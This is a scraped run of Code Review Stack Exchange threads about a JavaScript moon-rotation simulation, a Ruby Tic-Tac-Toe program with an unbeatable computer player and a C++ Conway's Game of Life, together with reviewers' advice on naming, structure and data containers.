"body": "<p>I'll leave an in-depth analysis to the true Python experts, but here are just some quick notes:</p>\n\n<p><strong>Variable and function names</strong>: As far as I'm aware, variable and function names should have words/elements separated by underscores (e.g., <code>check_dirs</code>, <code>is_file</code>)</p>\n\n<p><strong>main() function</strong>: Instead of having your functionality on the first/default level of indentation, it's good form to wrap it in a <code>def main()</code> and call it via:</p>\n\n<pre><code>if __name__ == '__main__':\n main()\n</code></pre>\n\n<p><strong>Return values</strong>: You can simply return a <code>bool</code> directly rather than having an <code>if/else</code> construction. e.g.,</p>\n\n<pre><code>return isfile != len(os.listdir(target))\n</code></pre>\n\n<p>vs.</p>\n\n<pre><code>if isfile == len(os.listdir(target)):\n return False\nelse:\n return True\n</code></pre>\n\n<p><strong>Use of <code>global</code></strong>: In my experience, any time I have to use <code>global some_var</code>, it's indicative of bad design. You should either be using local variables, function arguments, or the constant should be well-defined and not hidden by any local fields.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:36:11.547",
"Id": "82625",
"Score": "0",
"body": "Yeah, the global thing was left over from version 1. I'll take it out as it doesn't seem to serve a purpose anymore."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:16:49.730",
"Id": "47157",
"ParentId": "47153",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:00:45.243",
"Id": "47153",
"Score": "4",
"Tags": [
"python",
"python-3.x",
"file-system"
],
"Title": "Installing Mods With Python (v 2.0)"
} | 47153 |
<p>I just started coding a simulation-like application. It's about our solar system. Right now, I'm working on rotating the moon. I have this <code>constructor</code></p>
<pre><code>function Mass(elm) {
if (typeof elm == "string") {
this.elm = document.getElementById(elm);
} else {
this.elm = elm;
}
this.width = parseInt(window.getComputedStyle(this.elm).width, 10);
this.height = parseInt(window.getComputedStyle(this.elm).height, 10);
this.top = parseInt(window.getComputedStyle(this.elm).top, 10);
this.left = parseInt(window.getComputedStyle(this.elm).left, 10);
this.radius = this.width / 2;
this.origin = {
x : this.left + this.width / 2,
y : this.top + this.height / 2,
};
this.angle = 0;
this.rotation = function () {
if (this.angle >= 360) { this.angle = 0; }
this.angle += 1;
this.elm.style.webkitTransform = "rotate(" + this.angle + "deg)";
};
this.rotate = function (mthd) {
setInterval(mthd, 100);
}
}
var moon = new Mass("moon");
moon.rotate("moon.rotation()");
</code></pre>
<p>The issue I'm having is this <code>moon.rotate("moon.rotation()");</code>. There are two methods, and the way I call them is um.. weird? I want to use a single method to rotate the object. Like <code>moon.rotate()</code>.</p>
<p>I tried a few ways to put the code in just one method, but couldn't figure it out.</p>
<p><a href="http://jsfiddle.net/akinuri/e8Nry/" rel="nofollow"><strong>Fiddle</strong></a></p>
<hr>
<p><sup>Even though I'm done with the problem mentioned in this question, I wanted to add something, the full code. In case if anyone is interested.</p>
<p><a href="http://jsfiddle.net/akinuri/e8Nry/7/" rel="nofollow"><strong>Fiddle</strong></a></sup></p>
| [] | [
{
"body": "<p>For one, you don't want to pass a string to <code>setInterval()</code>; better to use a function. You can bind that function to the object's context, so it'll call the right thing.</p>\n\n<p>For another, aim for less ambiguous names. <code>rotation</code> should probably be <code>updateRotation</code>, since that's what it does. And <code>rotate</code> should likely be <code>startRotating</code> (and they you could have an equivalent <code>stopRotating</code>).</p>\n\n<p>That be something like:</p>\n\n<pre><code>this.startRotating = function () {\n var self = this; // to maintain the object's context\n setInterval(function () {\n self.updateRotation();\n }, 100);\n};\n</code></pre>\n\n<p>However, if you're planning to add more planets etc., it would probably be nicer to have one central timer that calls an <code>update</code> function on all your objects.</p>\n\n<p>And I'd also define a \"proper\" prototype for all this, and extract some general logic/avoid repetition:</p>\n\n<pre><code>// extract this logic, since it's generally useful\nfunction getElement(element) {\n if (typeof element == \"string\") {\n return document.getElementById(element);\n }\n return element;\n}\n\nfunction Mass(element, angularVelocity) { // added the rotation speed as an arg\n var computedStyle;\n\n this.element = getElement(element);\n\n // fetch this once\n computedStyle = window.getComputedStyle(this.element);\n\n this.width = parseInt(computedStyle.width, 10);\n this.height = parseInt(computedStyle.height, 10);\n this.top = parseInt(computedStyle.top, 10);\n this.left = parseInt(computedStyle.left, 10);\n this.radius = this.width / 2;\n\n this.origin = {\n x: this.left + this.radius, // you just calculated the radius; might as well use it here\n y: this.top + this.radius\n };\n\n this.angularVelocity = angularVelocity;\n this.rotation = 0;\n}\n\n// make nice prototype\nMass.prototype = {\n update: function () {\n this.rotation = (this.rotation + this.angularVelocity) % 360;\n this.element.style.webkitTransform = \"rotate(\" + this.rotation + \"deg)\";\n }\n};\n\n// do the timer magic outside the object\nvar moon = new Mass(\"moon\", 1.0),\n timer;\n\ntimer = setInterval(function () {\n moon.update();\n}, 100);\n</code></pre>\n\n<p><a href=\"http://jsfiddle.net/R22JA/\" rel=\"nofollow\">fiddle</a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T18:17:41.133",
"Id": "82637",
"Score": "0",
"body": "Thanks for the reply. I went over my code after seeing your examples. Fixed the problem now. [**Fiddle**](http://jsfiddle.net/akinuri/e8Nry/1/)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:51:46.793",
"Id": "82654",
"Score": "0",
"body": "@akinuri You could just set a negative rotation speed, instead of having the `ccw` argument. The modulus trick (`angle = (angle + speed) % 360`) in the code above will work for negative values, so you can get rid of a lot of code"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T20:19:27.063",
"Id": "82657",
"Score": "0",
"body": "Oh, indeed. Changed the code. Just few methods away from perfect. Gonna create a method to place the moon into earth's orbit. [**Fiddle**](http://jsfiddle.net/akinuri/e8Nry/2/)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T17:03:52.317",
"Id": "47159",
"ParentId": "47155",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "47159",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:13:11.893",
"Id": "47155",
"Score": "3",
"Tags": [
"javascript",
"css",
"simulation",
"animation"
],
"Title": "Single Rotate Method"
} | 47155 |
<p>I have implemented Tic-Tac-Toe so that human can play with the computer, where the computer should never lose. I did a simple analysis before implementing, and I found out that there are certain cells you want to occupy (I named it BEST_CELLS).</p>
<p>Here is the link to the implementation: <a href="https://github.com/yangtheman/tictactoe" rel="nofollow">https://github.com/yangtheman/tictactoe</a></p>
<p>I have five classes:</p>
<ul>
<li><code>Player</code>: human or CPU</li>
<li><code>TicTacToe</code>: holds board instance variable</li>
<li><code>TicTacToeGame</code>: gets user input and make CPU move</li>
<li><code>TicTacToePrint</code>: prints out the board</li>
<li><code>TicTacToeScan</code>: scan the board for any two in a rows and three in a row (column/row/diagonal)</li>
</ul>
<p>I don't feel that my class design is optimal and scanning algorithms can be improved. I also used hashes for the board for faster look-up, but perhaps using arrays would be easier? I am looking for feedback on my design and algorithm.</p>
<p><strong>tic_tac_toe.rb</strong></p>
<pre><code>class TicTacToe
X_COORDS = ["A", "B", "C"]
Y_COORDS = ["1", "2", "3"]
attr_reader :board
def initialize
@best_cells = ["B2", "A1", "A3", "C1", "C3"]
@board = {}
X_COORDS.each do |x|
@board[x] = {}
end
end
def x_coords
X_COORDS
end
def y_coords
Y_COORDS
end
def place_marker(coord_string, player)
x, y = coord_string.upcase.split("")
return nil unless coord_valid?(x, y)
deduct_from_best_cells(x, y)
@board[x][y] = player
end
def best_cells_left
@best_cells
end
def board_full?
sum = X_COORDS.inject(0) {|sum, x| sum += @board[x].size}
sum == 9
end
def player_cell?(x, y, player)
@board[x][y] == player
end
def empty_cell?(x, y)
@board[x][y].nil?
end
def cell_marker(x, y)
@board[x][y].nil? ? "." : @board[x][y].marker
end
private
def coord_valid?(x, y)
within_range?(x, y) && @board[x][y].nil?
end
def within_range?(x, y)
X_COORDS.include?(x) && Y_COORDS.include?(y)
end
def deduct_from_best_cells(x, y)
@best_cells -= ["#{x}#{y}"]
end
end
</code></pre>
<p><strong>tic_tac_toe_game.rb</strong></p>
<pre><code>require_relative './player'
require_relative './tic_tac_toe'
require_relative './tic_tac_toe_scan'
require_relative './tic_tac_toe_print'
class TicTacToeGame
def initialize
@board = TicTacToe.new
@cpu = Player.new
@human = Player.new(false)
end
def play
print_initial_instruction
interact_with_human
play if continue_to_play?
end
def print_board
TicTacToePrint.print_board(@board)
end
def scan_board(player)
TicTacToeScan.new(@board, player)
end
private
def print_initial_instruction
puts "Welcome to a Tic-Tac-Toe Game!\nYou are playing against the computer. Try to win."
puts "CPU marker is #{@cpu.marker}\nYour marker is #{@human.marker}"
print_board
end
def interact_with_human
loop do
if human_turn
break if game_over?
else
puts "Invalid Move. Please try again."
end
end
end
def game_over?
human_scan = scan_board(@human)
return true if game_finished?(human_scan)
cpu_scan = scan_board(@cpu)
cpu_turn(cpu_scan, human_scan)
print_board
return true if game_finished?(scan_board(@cpu))
end
def human_turn
print "Your Next Move (for example A1 or C3): "
input = STDIN.gets.chomp().upcase
@board.place_marker(input, @human)
end
def cpu_turn(cpu_scan, human_scan)
cpu_cell = calculate_cpu_cell(cpu_scan, human_scan)
@board.place_marker(cpu_cell, @cpu)
puts "CPU put his/her marker on #{cpu_cell}"
end
def calculate_cpu_cell(cpu_scan, human_scan)
playable_cells = cpu_scan.get_playable_cells
to_block = human_scan.get_playable_cells
if playable_cells[2] && playable_cells[2].length > 0
cpu_cell = playable_cells[2].first
elsif to_block[2] && to_block[2].length > 0
cpu_cell = to_block[2].first
elsif @board.best_cells_left.length > 0
cpu_cell = @board.best_cells_left.first
elsif playable_cells[1] && playable_cells[1].length > 0
cpu_cell = playable_cells[1].first
else
cpu_cell = playable_cells[0].first
end
cpu_cell
end
def game_finished?(scan)
if scan.winner?
if scan.player == @human
puts "Congratulations, You Won!"
else
puts "Sorry. You Lost!"
end
return true
elsif @board.board_full?
puts "Awwwww. No one won! Game is tied!"
return true
end
false
end
def continue_to_play?
print "Would you like to play again? (Y or N): "
if STDIN.gets.chomp() =~ /Y|y/
@board = TicTacToe.new
return true
end
false
end
end
</code></pre>
<p><strong>tic_tac_toe_scan.rb</strong></p>
<pre><code>class TicTacToeScan
attr_reader :player, :playable_cells
def initialize(game, player)
@game = game
@player = player
@playable_cells = {}
end
def get_playable_cells
calculate_playable_cells
@playable_cells
end
def winner?
calculate_playable_cells if @playable_cells == {}
@playable_cells[3] && @playable_cells[3] == []
end
private
def calculate_playable_cells
scan_rows
scan_cols
scan_diag_w2e
scan_diag_e2w
end
def add_to_playable_cells(num, array)
@playable_cells[num] ||= []
@playable_cells[num] += array
@playable_cells[num].uniq!
end
def scan_rows
@game.y_coords.each do |y|
player_cell_num = 0
empty_cells = []
@game.x_coords.each do |x|
empty_cells << "#{x}#{y}" if @game.empty_cell?(x, y)
player_cell_num += 1 if @game.player_cell?(x, y, @player)
end
add_to_playable_cells(player_cell_num, empty_cells)
end
end
def scan_cols
@game.x_coords.each do |x|
player_cell_num = 0
empty_cells = []
@game.y_coords.each do |y|
empty_cells << "#{x}#{y}" if @game.empty_cell?(x, y)
player_cell_num += 1 if @game.player_cell?(x, y, @player)
end
add_to_playable_cells(player_cell_num, empty_cells)
end
end
def scan_diag_w2e
player_cell_num = 0
empty_cells = []
@game.x_coords.each_with_index do |x, index|
y = @game.y_coords[index]
empty_cells << "#{x}#{y}" if @game.empty_cell?(x, y)
player_cell_num += 1 if @game.player_cell?(x, y, @player)
end
add_to_playable_cells(player_cell_num, empty_cells)
end
def scan_diag_e2w
player_cell_num = 0
empty_cells = []
@game.x_coords.each_with_index do |x, index|
y = @game.y_coords.reverse[index]
empty_cells << "#{x}#{y}" if @game.empty_cell?(x, y)
player_cell_num += 1 if @game.player_cell?(x, y, @player)
end
add_to_playable_cells(player_cell_num, empty_cells)
end
end
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T21:25:01.050",
"Id": "83445",
"Score": "1",
"body": "http://xkcd.com/832/"
}
] | [
{
"body": "<p>There's a lot of code there, so I'll just pick out a some things.</p>\n\n<p>From a bird's eye view, it looks like there's just too much code. That's my initial gut feeling without looking at any of it in-depth. It just seems like you're working too hard.</p>\n\n<p>Also:</p>\n\n<ol>\n<li>Comment your code, please!</li>\n<li>Test your code, please!</li>\n</ol>\n\n<p>More in-depth:</p>\n\n<p>You've prefixed (almost) all you classes with <code>TicTacToe</code>. Don't use prefixes: Use a module to do the namespacing. And put <code>Player</code> in there too.</p>\n\n<p>You said you use hashes for performance reasons, but I'd bet something like 99% of the time will be spent waiting on the human player, not the code. I.e. I highly doubt performance is a concern. <em>Premature optimization is the root of all evil</em> and all that. Of course, hashes work just fine for the job, and it's not like it's a cryptic solution. Just don't let \"performance\" be the only reason you choose it - except if you <em>know</em> performance is an issue, and you have a good indication that hashes will solve it.</p>\n\n<p>Personally, I'd use a flat array. Ruby's array and enumerable methods are powerful, and it's usually very easy to process an array into whatever shape you need. For instance:</p>\n\n<pre><code># as an example, set each cell to its index\ncells = Array.new(9) { |i| i } # => [0, 1, 2, 3, 4, 5, 6, 7, 8] \n\n# get the rows as 3 individual arrays\nrows = cells.each_slice(3).to_a # => [[0, 1, 2], [3, 4, 5], [6, 7, 8]]\n\n# get the columns\ncolumns = rows.transpose # => [[0, 3, 6], [1, 4, 7], [2, 5, 8]]\n\n# get the diagonals (a bit more tricky)\ndiagonals = []\ndiagonals << 3.times.map { |i| cells[i * 4] }\ndiagonals << 3.times.map { |i| cells[2 + i * 2] }\n# => [[0, 4, 8], [2, 4, 6]]\n</code></pre>\n\n<p>This requires that you use a slightly different internal structure than what you present to the player. Having the player type \"B3\" is of course nicer than the player having to figure out the 0-based index of a cell. But the translation is trivial, for instance:</p>\n\n<pre><code>if gets.chomp =~ /^([a-c])([1-3])$/i # get and check user input\n x = %w(a b c).index($1.downcase) # get a 0-2 x-coordinate\n y = $2.to_i - 1 # get a 0-2 y-coordinate\n index = y * 3 + x\nelse\n # user entered some nonsense\nend\n</code></pre>\n\n<p>Of course, your <code>Board</code> model could easily have a <code>cell[x, y]</code> (or <code>cell(x, y)</code>) method to do the xy-to-index conversion for you, but I'd rather place this concern at the <code>Player</code> model's end.</p>\n\n<p>Speaking of OOP modelling, you're not too far off, although the <code>Scan</code> class seems iffy; its functionality should probably be part of the game board.<br>\nI'd do something like this, starting with the \"physical\" parts of a tic-tac-toe game (board and players), before moving to the more abstract bits (the game and its rules). This is all just sketched out pseudo-code style</p>\n\n<pre><code>module TicTacToe\n\n # model the board (i.e. the cells), including methods for accessing and setting\n # (unoccupied) cells, getting the down/across/diagonal cells, etc..\n # It does not know about players, it just knows the layout of the board\n class Board\n def initialize; end\n def rows; end\n def columns; end\n def diagonals; end\n def blanks; end\n def full?; end\n def to_s; end\n # ... and so on\n end\n\n # Model a human player (the initializer may be used to ask the player for his/her name)\n class Human\n def move(board)\n # get user input etc.\n end\n end\n\n # Model a computer player. Privately, this class can have a bunch of methods for\n # determining its move, but its public API doesn't need more than a #move method\n class Computer\n def move(board)\n # determine best move etc.\n end\n end\n\n # Model the game, i.e. the players taking turns and so on.\n # Note that the players above don't have to know the board object (until it's\n # time to make a move) or the rules, just like the board doesn't have to know them.\n # This class is the one that ties it all together\n class Game\n # create board and players\n def initialize(); end\n\n # main game loop. Calls #turn below to have players take a turn,\n # and then checks win-states etc.\n def play; end\n\n # gets a player, and calls its #move method passing in some representation\n # of the board (it doesn't have to be *the* board object itself; it's mainly\n # so the computer player has something to work with)\n def turn; end\n end\nend\n</code></pre>\n\n<p>I'm not saying this is \"the one true way\" of doing things. Haven't tried it myself, but it seems to make sense.</p>\n\n<p>You may want to model a <code>Cell</code> class too, depending on how you want to handle the getting/setting of marks on the board. Having cells as actual objects could make a number of things simpler as you'll have object references to pass around.</p>\n\n<p>You may also add a class just to pretty-print the board, but a generic <code>to_s</code> on the <code>Board</code> class itself should suffice.</p>\n\n<p>Also, if the <code>Computer</code> and <code>Human</code> players have anything in common (name and mark, for instance), you should of course have a generic <code>Player</code> class, and inherit from that.</p>\n\n<p>For checking if someone's won, it's just a matter checking the \"winning cells\" against the last player's mark, e.g. <code>some_cells.all? { |cell| cell == last_player.mark }</code>. Of course, you can skip the checks as long as there are less than 5 marks on the board.</p>\n\n<p>Regarding what to pass to the players, the easiest thing is to just pass the board object itself. It's got all the methods the computer player needs to make decisions. Of course, it allows for \"cheating\" if the player objects can manipulate the board directly, but this is still Ruby: There's probably a way to do that anyway. It's hard to lock anything down - or at least, it's not worth the effort. But if you want to be strict about it, you can maybe make an immutable board of some sort, and pass that to the players, keeping the mutable version only with the game itself. But again: Worth it? </p>\n\n<p>Lastly: In case of a tie between two computer players, the output <a href=\"http://www.imdb.com/title/tt0086567/\" rel=\"nofollow\">should be</a>: \"A strange game. The only winning move is not to play. How about a nice game of chess?\"</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-20T08:13:26.230",
"Id": "83602",
"Score": "0",
"body": "Thank you for the feedback! Your feedback in addition to Uri's gives me enough to totally rethink my design. Awesome group of people we have here."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T10:53:53.477",
"Id": "47563",
"ParentId": "47158",
"Score": "3"
}
},
{
"body": "<p><strong>Random access and performance</strong><br>\nFlambino has correctly remarked that performance is no issue with <em>any</em> container holding a 3x3 matrix, but for the sake of argument, let's say that it might be an issue.<br>\nA major benefit in a <a href=\"http://en.wikipedia.org/wiki/Hashtable\" rel=\"nofollow\"><code>Hash</code></a> structure is that it keeps a \\$O(1)\\$ complexity in setting as well as fetching elements in it, no matter how large it is (as long as the hashing function is well thought of). This is what is called <a href=\"http://en.wikipedia.org/wiki/Random_access\" rel=\"nofollow\">\"Random Access\"</a>.<br>\nAn <code>Array</code> on the other hand has... Random access as well! That is, as long as you know where your item is, reaching that item is done immediately.<br>\nIn actuality, small hashes with a fixed number of elements will <em>always</em> be less performant than arrays, since the hashing function will be much too generic, and since hashes are implemented using buckets (some variants of a tree structure) which are kept <strong><em>in an array</em></strong>...</p>\n\n<p>I guess when you said \"faster look-up\" you might have meant using less code, or maybe having a structure closer to the human metaphor (human player enters <code>A2</code>...) - both are debatable, but from a performance point-of-view it is quite clear cut - there is no reason to work with a <code>Hash</code> for the board state - an array (or a two-dimensional array) will be your best option.</p>\n\n<p><strong>Class names and motivations</strong><br>\nFlambino has noted that the <code>TicTacToe</code> prefix is not advisable, and should be removed.<br>\nClass names should be of <em>actors</em> and not of <em>actions</em> - this is extra obvious after removing the prefix of the class names - <code>Printer</code> and <code>Scanner</code> are better names than <code>Print</code> and <code>Scan</code>.<br>\nBoth of those classes look suspiciously specific, which should make us think are they really class-worthy? </p>\n\n<p>Shouldn't the <code>TicTacToePrint</code> class simply be a <code>def print</code> method within the <code>Game</code> class? After all - it is used only once, and you even chose to omit its implementation, since it is trivial... </p>\n\n<p>Also, it seems that <code>TicTacToeScan</code> is an elaborate class intended to maintain the state of the board, I believe that it should either be part of the board's <em>state</em>, or simply make the calculation ad-hoc on the fly.</p>\n\n<p>Oh, and forgotten - what does <code>Player</code> do? Does it do anything? Is it really class worthy?</p>\n\n<p><strong>Method boundaries</strong><br>\nA method should do <em>exactly</em> what it claims it does.<br>\nFor example - <code>interact_with_human</code> looks innocent enough, since it calls <code>human_turn</code>, and breaks if <code>game_over?</code>, but actually <code>game_over?</code> <em>plays the computer's turn!</em><br>\nThis is unpredictable and confusing. <code>game_over?</code> should do just that - check whether the game is over. Any other logic should be done elsewhere.</p>\n\n<p><strong>Where is your strategy?</strong><br>\nIn the title of the post you put at center stage that \"computer should not lose\" - which means that the point of the exercise is to showcase the strategy for playing <code>cpu</code>. But your strategy code is strewn all over the code (some in <code>TicTacToe</code>, some in <code>TicTacToeGame</code>, and some in <code>TicTacToeScan</code>) - that it is impossible to understand in one reading what your strategy actually <em>is</em>.<br>\nFrom all the classes you decided to implement, that one most obviously missing is the <code>Strategy</code> class (you could call it <code>CpuPlayer</code>, as it stands as complement to the human player against it). <em>It</em> should know (or, at least, claim) which are the best cells, decide to score playable cells by <code>player_cell_num</code> (which, I admit, I couldn't thoroughly understand), and, of course, decide which is the next cell the CPU player should play.</p>\n\n<p><strong>Be DRY</strong><br>\nYou <code>TicTacToeScan</code> class is full of cut-and-paste code. This makes it hard to read, and hard to maintain.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-18T15:12:28.467",
"Id": "47581",
"ParentId": "47158",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47581",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T16:28:49.490",
"Id": "47158",
"Score": "1",
"Tags": [
"algorithm",
"object-oriented",
"ruby",
"design-patterns"
],
"Title": "Tic-Tac-Toe implementation where computer should not lose"
} | 47158 |
<p>This is my attempt at Conway's Game of Life. It works, and it's the most complicated program I've made to date. I'm sure it's pretty poorly done. Any ideas on how I can improve on it?</p>
<pre><code>#include <iostream>
#include <cstdlib>
const int gridsize = 75; //Making this a global constant to avoid array issues.
void Display(bool grid[gridsize+1][gridsize+1]){
for(int a = 1; a < gridsize; a++){
for(int b = 1; b < gridsize; b++){
if(grid[a][b] == true){
std::cout << " *";
}
else{
std::cout << " ";
}
if(b == gridsize-1){
std::cout << std::endl;
}
}
}
}
//This copy's the grid for comparision purposes.
void CopyGrid (bool grid[gridsize+1][gridsize+1],bool grid2[gridsize+1][gridsize+1]){
for(int a =0; a < gridsize; a++){
for(int b = 0; b < gridsize; b++){grid2[a][b] = grid[a][b];}
}
}
//Calculates Life or Death
void liveOrDie(bool grid[gridsize+1][gridsize+1]){
bool grid2[gridsize+1][gridsize+1] = {};
CopyGrid(grid, grid2);
for(int a = 1; a < gridsize; a++){
for(int b = 1; b < gridsize; b++){
int life = 0;
for(int c = -1; c < 2; c++){
for(int d = -1; d < 2; d++){
if(!(c == 0 && d == 0)){
if(grid2[a+c][b+d]) {++life;}
}
}
}
if(life < 2) {grid[a][b] = false;}
else if(life == 3){grid[a][b] = true;}
else if(life > 3){grid[a][b] = false;}
}
}
}
int main(){
//const int gridsize = 50;
bool grid[gridsize+1][gridsize+1] = {};
//Still have to manually enter the starting cells.
grid[gridsize/2][gridsize/2] = true;
grid[gridsize/2-1][gridsize/2] = true;
grid[gridsize/2][gridsize/2+1] = true;
grid[gridsize/2][gridsize/2-1] = true;
grid[gridsize/2+1][gridsize/2+1] = true;
while (true){
//The following copies our grid.
Display(grid); //This is our display.
liveOrDie(grid); //calculate if it lives or dies.
system("CLS");
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T05:23:21.600",
"Id": "82871",
"Score": "7",
"body": "I don't know if anyone has seen this before, but if you Google Conway's Game of Life, it actually has a live one running on the results page."
}
] | [
{
"body": "<p>One major thing: <em>do not pass C-arrays to functions as they will decay to a pointer</em>.</p>\n\n<p>In C++, you should just use storage containers (from the standard library or Boost) instead of C-arrays, which are more proper for passing storage data to functions (they will not decay to a pointer).</p>\n\n<p>You may consider a 2D <a href=\"http://en.cppreference.com/w/cpp/container/vector_bool\" rel=\"nofollow noreferrer\"><code>std::vector</code> of <code>bool</code>s</a>:</p>\n\n<pre><code>std::vector<std::vector<bool> > grid;\n</code></pre>\n\n<p><em>However</em>, given <a href=\"https://stackoverflow.com/questions/6781985/is-the-use-of-stdvectorbool-objects-in-c-acceptable-or-should-i-use-an-al\">some of its issues</a>, you may have to consider <a href=\"https://stackoverflow.com/questions/670308/alternative-to-vectorbool\">an alternative</a>, such as an <code>std::vector</code> of <code>int</code>s. If you don't want to take any chances, you may choose the one with <code>int</code>s.</p>\n\n<p>Another option is an <a href=\"http://en.cppreference.com/w/cpp/container/array\" rel=\"nofollow noreferrer\"><code>std::array</code></a> (C++11 only), if no resizing is needed:</p>\n\n<pre><code>std::array<std::array<bool, gridsize+1>, gridsize+1> grid;\n</code></pre>\n\n<p>For whichever one you choose, you may then have a <code>typedef</code> so that you don't have to type out the entire statement everywhere:</p>\n\n<pre><code>typedef std::vector<std::vector<bool> > Grid;\n</code></pre>\n\n<p></p>\n\n<pre><code>typedef std::array<std::array<bool, gridsize+1>, gridsize+1> Grid;\n</code></pre>\n\n<p>Declarations will be very short:</p>\n\n<pre><code>Grid grid;\n</code></pre>\n\n<p><strong>Miscellaneous:</strong></p>\n\n<ul>\n<li><p>Keep your function naming consistent. One starts with a lowercase letter and two others start with a capital letter. Choose whichever naming convention you prefer or are required to use.</p></li>\n<li><p>Prefer <code>\"\\n\"</code> over <code>std::endl</code> for newlines. The latter also does a flush, which takes longer.</p></li>\n<li><p>Comments should <em>not</em> state the obvious and should only give useful clarification:</p>\n\n<blockquote>\n<pre><code>//const int gridsize = 50;\n</code></pre>\n</blockquote>\n\n<p>Commented-out code is ugly, especially when presenting the code as a final product.</p>\n\n<blockquote>\n<pre><code>//This is our display.\n</code></pre>\n</blockquote>\n\n<p>The function name already conveys its purpose. However, if you want to document each function, then make it more formal than this, and also mention its arguments and return values, if any.</p>\n\n<blockquote>\n<pre><code>//This copy's the grid for comparision purposes.\n</code></pre>\n</blockquote>\n\n<p>Consider proof-reading your comments, otherwise it can make the program seem sloppy.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T18:51:58.163",
"Id": "47171",
"ParentId": "47167",
"Score": "22"
}
},
{
"body": "<blockquote>\n<pre><code>const int gridsize = 75; //Making this a global constant to avoid array issues.\n</code></pre>\n</blockquote>\n\n<p>It's good convention to use all capitals for global constants, for example:</p>\n\n<pre><code>const int GRIDSIZE = 75;\n</code></pre>\n\n<p>And now that it <em>looks</em> like a global constant, you can drop the the comment as it became pointless.</p>\n\n<hr>\n\n<p>Instead of:</p>\n\n<blockquote>\n<pre><code>if(grid[a][b] == true){\n</code></pre>\n</blockquote>\n\n<p>you can write simply:</p>\n\n<pre><code>if (grid[a][b]) {\n</code></pre>\n\n<hr>\n\n<p>In your <code>Display</code> method, the way you write the newline is a bit strange:</p>\n\n<blockquote>\n<pre><code>if(b == gridsize-1){\n std::cout << std::endl;\n}\n</code></pre>\n</blockquote>\n\n<p>The method would be more natural and simpler this way:</p>\n\n<pre><code>for (int a = 1; a < gridsize; a++) {\n for (int b = 1; b < gridsize; b++) {\n if (grid[a][b]) {\n std::cout << \" *\";\n } else {\n std::cout << \" \";\n }\n }\n std::cout << std::endl;\n}\n</code></pre>\n\n<hr>\n\n<p>You should use a consistent style for naming your methods. Either all methods should start with a capital letter or none of them. Personally I prefer naming with lowercase and underscores, for example <code>live_or_die</code>, <code>copy_grid</code>.</p>\n\n<hr>\n\n<p>It would be good to pay more attention to coding style: indent properly, and instead of:</p>\n\n<blockquote>\n<pre><code>if(grid2[a+c][b+d]) {++life;}\n</code></pre>\n</blockquote>\n\n<p>write like this:</p>\n\n<pre><code>if (grid2[a+c][b+d]) {\n ++life;\n}\n</code></pre>\n\n<hr>\n\n<p>This works only in Windows:</p>\n\n<pre><code>system(\"CLS\");\n</code></pre>\n\n<p>This would work in UNIX-like systems:</p>\n\n<pre><code>system(\"clear\");\n</code></pre>\n\n<p>... but ideally it would be best to rewrite this in a platform independent way.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:11:10.100",
"Id": "47174",
"ParentId": "47167",
"Score": "22"
}
},
{
"body": "<p>If you're going to do it in C++, then you might as well use a class. For example, if <code>grid</code> were a data member of a class, and the various functions were methods of the same class, then you wouldn't need to pass the grid as a parameter to each of the various <strike>functions</strike> methods.</p>\n\n<p><code>a</code> and <code>b</code> aren't bad variable names, but <code>i</code> and <code>j</code> would be more conventional names to use as loop indices; or you could use <code>row</code> and <code>col</code>.</p>\n\n<p>Indentation isn't quite correct in the <code>liveOrDie</code> function: the 3<sup>rd</sup> <code>for</code> loop should be indented further to the right.</p>\n\n<p>Capitalization isn't quite consistent: you use camelCase for <code>liveOrDie</code> but PascalCase for <code>CopyGrid</code>.</p>\n\n<p>So far as I can see, by copying the grid you implemented the rules correctly.</p>\n\n<blockquote>\n <p>Any idea's on how I can improve on it?</p>\n</blockquote>\n\n<p>You could:</p>\n\n<ul>\n<li>Test it more</li>\n<li>Let user choose starting cells</li>\n<li>Make it display in a GUI</li>\n<li>Make it faster</li>\n<li>Make it a variable-size (or near-unlimited-size) grid</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T19:17:03.593",
"Id": "47175",
"ParentId": "47167",
"Score": "20"
}
},
{
